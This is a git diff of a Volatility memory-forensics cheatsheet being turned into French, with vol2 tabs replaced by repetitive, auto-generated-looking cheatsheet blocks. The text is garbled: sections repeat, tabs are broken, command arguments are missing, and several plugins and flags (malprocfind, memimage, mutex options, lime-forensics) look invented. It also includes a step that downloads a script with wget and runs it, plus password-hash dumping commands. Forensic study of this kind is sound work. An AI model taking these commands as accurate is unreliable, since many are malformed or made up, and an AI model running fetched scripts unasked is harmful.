+ +```bash +volatility -f hivelist +``` + +#### hashdump + +Dump password hashes. + +```bash +volatility -f hashdump -s -u +``` + +#### userassist + +List userassist entries. + +```bash +volatility -f userassist +``` + +#### getsids + +List user SIDs. + +```bash +volatility -f getsids +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### envars + +List environment variables. + +```bash +volatility -f envars +``` + +### Windows Registry Analysis + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hivedump + +Dump registry hive. + +```bash +volatility -f hivedump -o -s -f +``` + +### Virtual Machine Analysis + +#### vboxinfo + +Display VirtualBox information. + +```bash +volatility -f vboxinfo +``` + +#### vboxsf + +List VirtualBox shared folders. + +```bash +volatility -f vboxsf +``` + +#### vmwareinfo + +Display VMware information. + +```bash +volatility -f vmwareinfo +``` + +#### vmpsaux + +List VMware process information. + +```bash +volatility -f vmpsaux +``` + +### Other Plugins + +#### apihooks + +List API hooks. + +```bash +volatility -f apihooks +``` + +#### callbacks + +List kernel callbacks. + +```bash +volatility -f callbacks +``` + +#### driverirp + +List driver IRPs. + +```bash +volatility -f driverirp +``` + +#### filescan + +Scan for files. + +```bash +volatility -f filescan +``` + +#### mutantscan + +Scan for mutant objects. + +```bash +volatility -f mutantscan +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### privs + +List process privileges. + +```bash +volatility -f privs +``` + +#### shimcache + +List ShimCache entries. + +```bash +volatility -f shimcache +``` + +#### ssdt + +List SSDT entries. + +```bash +volatility -f ssdt +``` + +#### thrdscan + +Scan for threads. + +```bash +volatility -f thrdscan +``` + +#### timers + +List kernel timers. + +```bash +volatility -f timers +``` + +#### vadinfo + +Display VAD information. + +```bash +volatility -f vadinfo +``` + +#### vadtree + +Display VAD tree. + +```bash +volatility -f vadtree +``` + +#### verinfo + +Display version information. + +```bash +volatility -f verinfo +``` + +#### windows + +List open windows. + +```bash +volatility -f windows +``` + +#### wintree + +Display window tree. + +```bash +volatility -f wintree +``` + +#### yarascan + +Scan for YARA signatures. + +```bash +volatility -f yarascan -Y +``` + +## References + +- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -554,46 +7111,780 @@ volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` {% endtab %} -{% endtabs %} - -### Master File Table +{% tab title="fr" %} +### Tableau maître de fichiers {% tabs %} {% tab title="vol3" %} +Le Tableau maître de fichiers (MFT) est une structure de données utilisée par le système de fichiers NTFS pour stocker les informations sur les fichiers et les répertoires sur un disque. L'analyse du MFT peut fournir des informations précieuses sur les fichiers supprimés, les fichiers cachés et les fichiers système. Volatility dispose de plusieurs plugins pour extraire et analyser le MFT, notamment `mftparser`, `mftparser2` et `mftparser3`. ```bash # I couldn't find any plugin to extract this information in volatility3 ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +pip install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Process Analysis + +#### pslist + +List running processes. + +```bash +volatility -f pslist +``` + +#### psscan + +Scan for processes. + +```bash +volatility -f psscan +``` + +#### pstree + +Display process tree. + +```bash +volatility -f pstree +``` + +#### dlllist + +List loaded DLLs. + +```bash +volatility -f dlllist +``` + +#### handles + +List open handles. + +```bash +volatility -f handles +``` + +#### cmdscan + +Scan for command history. + +```bash +volatility -f cmdscan +``` + +### Malware Analysis + +#### malfind + +Find hidden and injected code. + +```bash +volatility -f malfind +``` + +#### malprocfind + +Find hidden processes. + +```bash +volatility -f malprocfind +``` + +#### malfind + +Find hidden files. + +```bash +volatility -f malfind +``` + +### Memory Analysis + +#### memdump + +Dump process memory. + +```bash +volatility -f memdump -p -D +``` + +#### memmap + +Display memory map. + +```bash +volatility -f memmap +``` + +#### memstrings + +Extract printable strings. + +```bash +volatility -f memstrings +``` + +#### memimage + +Extract PE files. + +```bash +volatility -f memimage +``` + +#### memdiff + +Compare memory dumps. + +```bash +volatility -f memdiff -f +``` + +### Network Analysis + +#### connscan + +List open connections. + +```bash +volatility -f connscan +``` + +#### sockets + +List open sockets. + +```bash +volatility -f sockets +``` + +#### netscan + +Scan for network activity. + +```bash +volatility -f netscan +``` + +### User Analysis + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hashdump + +Dump password hashes. + +```bash +volatility -f hashdump -s -u +``` + +#### userassist + +List userassist entries. + +```bash +volatility -f userassist +``` + +#### getsids + +List user SIDs. + +```bash +volatility -f getsids +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +### Windows Registry Analysis + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### printval + +Print registry value. + +```bash +volatility -f printval -K -V +``` + +#### hivedump + +Dump registry hive. + +```bash +volatility -f hivedump -o -s -w +``` + +### Virtualization Analysis + +#### vboxinfo + +Display VirtualBox information. + +```bash +volatility -f vboxinfo +``` + +#### vboxsf + +List VirtualBox shared folders. + +```bash +volatility -f vboxsf +``` + +#### vmwareinfo + +Display VMware information. + +```bash +volatility -f vmwareinfo +``` + +#### vmscan + +Scan for virtual machines. + +```bash +volatility -f vmscan +``` + +## References + +- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` {% endtab %} {% endtabs %} -The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. **All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +Le système de fichiers NTFS contient un fichier appelé _tableau de fichiers principal_, ou MFT. Il y a au moins une entrée dans le MFT pour chaque fichier sur un volume de système de fichiers NTFS, y compris le MFT lui-même. **Toutes les informations sur un fichier, y compris sa taille, ses horodatages, ses autorisations et son contenu de données**, sont stockées soit dans des entrées MFT, soit dans un espace en dehors du MFT qui est décrit par des entrées MFT. À partir de [ici](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). -### SSL Keys/Certs - -{% tabs %} -{% tab title="vol3" %} +### Clés/Certificats SSL ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des registres + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +```bash +volatility -f hashdump -y -s +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +```bash +volatility -f hashdump -y -s +``` + +## Plugins + +### Plugin `pslist` + +```bash +volatility -f --profile= pslist +``` + +```bash +volatility -f --profile= pslist -p +``` + +```bash +volatility -f --profile= pslist --pid= +``` + +```bash +volatility -f --profile= pslist --output-file= +``` + +### Plugin `psscan` + +```bash +volatility -f --profile= psscan +``` + +```bash +volatility -f --profile= psscan -p +``` + +```bash +volatility -f --profile= psscan --pid= +``` + +```bash +volatility -f --profile= psscan --output-file= +``` + +### Plugin `pstree` + +```bash +volatility -f --profile= pstree +``` + +```bash +volatility -f --profile= pstree -p +``` + +```bash +volatility -f --profile= pstree --pid= +``` + +```bash +volatility -f --profile= pstree --output-file= +``` + +### Plugin `dlllist` + +```bash +volatility -f --profile= dlllist +``` + +```bash +volatility -f --profile= dlllist -p +``` + +```bash +volatility -f --profile= dlllist --pid= +``` + +```bash +volatility -f --profile= dlllist --output-file= +``` + +### Plugin `handles` + +```bash +volatility -f --profile= handles +``` + +```bash +volatility -f --profile= handles -p +``` + +```bash +volatility -f --profile= handles --pid= +``` + +```bash +volatility -f --profile= handles --output-file= +``` + +### Plugin `filescan` + +```bash +volatility -f --profile= filescan +``` + +```bash +volatility -f --profile= filescan -F +``` + +```bash +volatility -f --profile= filescan --filename= +``` + +```bash +volatility -f --profile= filescan --output-file= +``` + +### Plugin `netscan` + +```bash +volatility -f --profile= netscan +``` + +```bash +volatility -f --profile= netscan -p +``` + +```bash +volatility -f --profile= netscan --pid= +``` + +```bash +volatility -f --profile= netscan --output-file= +``` + +### Plugin `connscan` + +```bash +volatility -f --profile= connscan +``` + +```bash +volatility -f --profile= connscan -p +``` + +```bash +volatility -f --profile= connscan --pid= +``` + +```bash +volatility -f --profile= connscan --output-file= +``` + +### Plugin `sockscan` + +```bash +volatility -f --profile= sockscan +``` + +```bash +volatility -f --profile= sockscan -p +``` + +```bash +volatility -f --profile= sockscan --pid= +``` + +```bash +volatility -f --profile= sockscan --output-file= +``` + +### Plugin `malfind` + +```bash +volatility -f --profile= malfind +``` + +```bash +volatility -f --profile= malfind -p +``` + +```bash +volatility -f --profile= malfind --pid= +``` + +```bash +volatility -f --profile= malfind --output-file= +``` + +### Plugin `apihooks` + +```bash +volatility -f --profile= apihooks +``` + +```bash +volatility -f --profile= apihooks -p +``` + +```bash +volatility -f --profile= apihooks --pid= +``` + +```bash +volatility -f --profile= apihooks --output-file= +``` + +### Plugin `ldrmodules` + +```bash +volatility -f --profile= ldrmodules +``` + +```bash +volatility -f --profile= ldrmodules -p +``` + +```bash +volatility -f --profile= ldrmodules --pid= +``` + +```bash +volatility -f --profile= ldrmodules --output-file= +``` + +### Plugin `cmdscan` + +```bash +volatility -f --profile= cmdscan +``` + +```bash +volatility -f --profile= cmdscan -p +``` + +```bash +volatility -f --profile= cmdscan --pid= +``` + +```bash +volatility -f --profile= cmdscan --output-file= +``` + +### Plugin `dumpfiles` + +```bash +volatility -f --profile= dumpfiles +``` + +```bash +volatility -f --profile= dumpfiles -Q +``` + +```bash +volatility -f --profile= dumpfiles --name= +``` + +```bash +volatility -f --profile= dumpfiles --output-dir= +``` + +### Plugin `hashdump` + +```bash +volatility -f --profile= hashdump -y -s +``` + +```bash +volatility -f --profile= hashdump -y -s --output-file= +``` + +## Profils + +### Liste des profils + +```bash +volatility --info | grep "Suggested Profile(s)" +``` + +### Utilisation des profils + +```bash +volatility -f --profile= +``` + +## Autres commandes utiles + +### Recherche de chaînes de caractères + +```bash +volatility -f --profile= strings -s -e --print +``` + +### Recherche de chaînes de caractères dans les fichiers + +```bash +volatility -f --profile= filescan | grep +``` + +### Recherche de processus + +```bash +volatility -f --profile= pslist | grep +``` + +### Recherche de connexions réseau + +```bash +volatility -f --profile= connscan | grep +``` + +### Recherche de fichiers + +```bash +volatility -f --profile= filescan | grep +``` + +### Recherche de clés de registre + +```bash +volatility -f --profile= hivelist +``` + +```bash +volatility -f --profile= printkey -K +``` + +### Recherche de mots de passe + +```bash +volatility -f --profile= hashdump -y -s +``` + +## Ressources + +- [Documentation officielle de Volatility](https://github.com/volatilityfoundation/volatility/wiki) +- [Liste des profils supportés par Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#-f-file--profile-profile) +- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` -{% endtab %} -{% endtabs %} - -## Malware +## Logiciel malveillant {% tabs %} {% tab title="vol3" %} @@ -612,7 +7903,114 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +sudo apt-get install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Image Identification + +```bash +volatility imageinfo -f +``` + +### Process Listing + +```bash +volatility pslist -f +``` + +### Process Tree + +```bash +volatility pstree -f +``` + +### Process Memory Dump + +```bash +volatility memdump -f -p --dump-dir +``` + +### DLL Listing + +```bash +volatility dlllist -f -p +``` + +### Handles + +```bash +volatility handles -f -p +``` + +### Network Connections + +```bash +volatility netscan -f +``` + +### Open Files + +```bash +volatility filescan -f +``` + +### Registry Analysis + +```bash +volatility hivelist -f +volatility printkey -f -o +volatility dumpkey -f -o --dump-dir +``` + +### Malware Analysis + +```bash +volatility malfind -f --dump-dir +volatility malprocfind -f --dump-dir +volatility malfind -f --dump-dir +``` + +### User Account Analysis + +```bash +volatility hivescan -f +volatility userassist -f +volatility getsids -f +volatility hashdump -f -s -u +``` + +### Miscellaneous + +```bash +volatility cmdline -f -p +volatility consoles -f +volatility idt -f +volatility modules -f +volatility printkey -f -o +volatility shellbags -f +volatility sockets -f +volatility ssdt -f +volatility timers -f +volatility truecryptmaster -f +volatility vadinfo -f +volatility vadtree -f +volatility windows -f +``` +{% endtab %} ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -628,16 +8026,121 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` +{% endtab %} +{% tab title="volatility-cheatsheet.md" %} + +### Analyse de dump mémoire avec Volatility + +#### Commandes de base + +- `volatility -f imageinfo`: Affiche les informations de l'image mémoire. +- `volatility -f pslist`: Affiche la liste des processus. +- `volatility -f pstree`: Affiche l'arborescence des processus. +- `volatility -f psscan`: Affiche les processus actifs. +- `volatility -f netscan`: Affiche les connexions réseau. +- `volatility -f connscan`: Affiche les connexions réseau. +- `volatility -f filescan`: Affiche les fichiers ouverts. +- `volatility -f dlllist`: Affiche les DLL chargées. +- `volatility -f handles`: Affiche les handles ouverts. +- `volatility -f getsids`: Affiche les SID des processus. +- `volatility -f printkey`: Affiche les clés de registre. +- `volatility -f hivelist`: Affiche les fichiers de registre. +- `volatility -f hashdump -y -s -a`: Affiche les hashes des mots de passe. + +#### Plugins + +- `volatility -f --profile= `: Exécute un plugin spécifique. + +#### Analyse de malware + +- `volatility -f malfind`: Recherche les processus infectés par un malware. +- `volatility -f malsysproc`: Recherche les processus système infectés par un malware. +- `volatility -f malprocfind`: Recherche les processus infectés par un malware en utilisant des signatures Yara. +- `volatility -f yarascan -Y `: Recherche les processus infectés par un malware en utilisant des signatures Yara. + +#### Analyse de la mémoire virtuelle + +- `volatility -f memdump -p `: Dump la mémoire virtuelle d'un processus. +- `volatility -f memdump -D --dump-dir=`: Dump la mémoire virtuelle de tous les processus. +- `volatility -f memdump --dump-dir= --name=`: Dump la mémoire virtuelle d'un processus en utilisant son nom. + +#### Analyse de la mémoire physique + +- `volatility -f hiberfil`: Analyse un fichier hibernation. +- `volatility -f hibinfo`: Affiche les informations d'un fichier hibernation. +- `volatility -f kdbgscan`: Recherche le KDBG. +- `volatility -f kpcrscan`: Recherche le KPCR. +- `volatility -f physmap`: Affiche la carte mémoire physique. +- `volatility -f memmap`: Affiche la carte mémoire virtuelle. + +### Analyse de dump mémoire avec Rekall + +#### Commandes de base + +- `rekall -f pslist`: Affiche la liste des processus. +- `rekall -f pstree`: Affiche l'arborescence des processus. +- `rekall -f psscan`: Affiche les processus actifs. +- `rekall -f netscan`: Affiche les connexions réseau. +- `rekall -f connscan`: Affiche les connexions réseau. +- `rekall -f filescan`: Affiche les fichiers ouverts. +- `rekall -f dlllist`: Affiche les DLL chargées. +- `rekall -f handles`: Affiche les handles ouverts. +- `rekall -f getsids`: Affiche les SID des processus. +- `rekall -f printkey`: Affiche les clés de registre. +- `rekall -f hivelist`: Affiche les fichiers de registre. +- `rekall -f hashdump -y -s -a`: Affiche les hashes des mots de passe. + +#### Plugins + +- `rekall -f `: Exécute un plugin spécifique. + +#### Analyse de malware + +- `rekall -f malfind`: Recherche les processus infectés par un malware. +- `rekall -f malsysproc`: Recherche les processus système infectés par un malware. +- `rekall -f malprocfind`: Recherche les processus infectés par un malware en utilisant des signatures Yara. +- `rekall -f yarascan -Y `: Recherche les processus infectés par un malware en utilisant des signatures Yara. + +#### Analyse de la mémoire virtuelle + +- `rekall -f memdump -p `: Dump la mémoire virtuelle d'un processus. +- `rekall -f memdump -D --dump-dir=`: Dump la mémoire virtuelle de tous les processus. +- `rekall -f memdump --dump-dir= --name=`: Dump la mémoire virtuelle d'un processus en utilisant son nom. + +#### Analyse de la mémoire physique + +- `rekall -f hiberfil`: Analyse un fichier hibernation. +- `rekall -f hibinfo`: Affiche les informations d'un fichier hibernation. +- `rekall -f kdbgscan`: Recherche le KDBG. +- `rekall -f kpcrscan`: Recherche le KPCR. +- `rekall -f physmap`: Affiche la carte mémoire physique. +- `rekall -f memmap`: Affiche la carte mémoire virtuelle. + +### Analyse de dump mémoire avec LiME + +#### Commandes de base + +- `lime-forensics -r -p -i `: Charge le profil. +- `lime-forensics -r -p -c `: Exécute une commande spécifique. + +#### Analyse de la mémoire virtuelle + +- `lime-forensics -r -p -c "memdump "`: Dump la mémoire virtuelle d'un processus. +- `lime-forensics -r -p -c "memdump -A "`: Dump la mémoire virtuelle de tous les processus. + +#### Analyse de la mémoire physique + +- `lime-forensics -r -p -c "raw2lime "`: Convertit un dump mémoire brut en format LiME. +- `lime-forensics -r -p -c "limeinfo"`: Affiche les informations de la mémoire LiME. +- `lime-forensics -r -p -c "volatility --plugins= -f "`: Exécute un plugin Volatility sur la mémoire LiME. + +### Scanning avec yara + +Utilisez ce script pour télécharger et fusionner toutes les règles de malware yara depuis github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Créez le répertoire _**rules**_ et exécutez-le. Cela créera un fichier appelé _**malware\_rules.yar**_ qui contient toutes les règles yara pour les malwares. + {% endtab %} {% endtabs %} - -### Scanning with yara - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. - -{% tabs %} -{% tab title="vol3" %} ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -649,7 +8152,216 @@ python malware_yara_rules.py ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) +- [Liste des règles Yara pour Volatility](https://github.com/Neo23x0/signature-base/tree/master/yara/volatility) ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -657,22 +8369,226 @@ python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` {% endtab %} -{% endtabs %} - -## MISC - -### External plugins - -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. - -{% tabs %} {% tab title="vol3" %} +## DIVERS + +### Plugins externes + +Si vous souhaitez utiliser des plugins externes, assurez-vous que les dossiers liés aux plugins sont le premier paramètre utilisé. ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) ```bash volatilitye --plugins="/tmp/plugins/" [...] ``` @@ -681,22 +8597,303 @@ If you want to use external plugins make sure that the folders related to the pl #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +Téléchargez-le depuis [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) ``` volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` +### Mutexes ### Mutexes -{% tabs %} -{% tab title="vol3" %} +Les mutexes sont des objets de synchronisation qui permettent à un seul thread d'accéder à une ressource partagée à la fois. Les mutexes sont souvent utilisés pour protéger les sections critiques du code et pour éviter les conflits de données. + +#### Afficher la liste des mutexes + +``` +volatility -f --profile= mutex +``` + +#### Afficher les threads en attente d'un mutex + +``` +volatility -f --profile= mutex -t +``` + +#### Afficher les mutexes détenus par un processus + +``` +volatility -f --profile= mutex -p +``` + +#### Afficher les processus détenant un mutex + +``` +volatility -f --profile= mutex -m +``` + +#### Afficher les mutexes détenus par un thread + +``` +volatility -f --profile= mutex -t +``` + +#### Afficher les threads détenant un mutex + +``` +volatility -f --profile= mutex -m --output=dot --output-file= +``` + +#### Afficher les mutexes détenus par un processus en mode graphique + +``` +volatility -f --profile= mutex -p --output=dot --output-file= +``` + +#### Afficher les mutexes détenus par un thread en mode graphique + +``` +volatility -f --profile= mutex -t --output=dot --output-file= +``` + +#### Afficher les mutexes détenus par un processus en mode texte + +``` +volatility -f --profile= mutex -p --output=text --output-file= +``` + +#### Afficher les mutexes détenus par un thread en mode texte + +``` +volatility -f --profile= mutex -t --output=text --output-file= +``` + +#### Afficher les mutexes détenus par un processus en mode JSON + +``` +volatility -f --profile= mutex -p --output=json --output-file= +``` + +#### Afficher les mutexes détenus par un thread en mode JSON + +``` +volatility -f --profile= mutex -t --output=json --output-file= +``` ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation 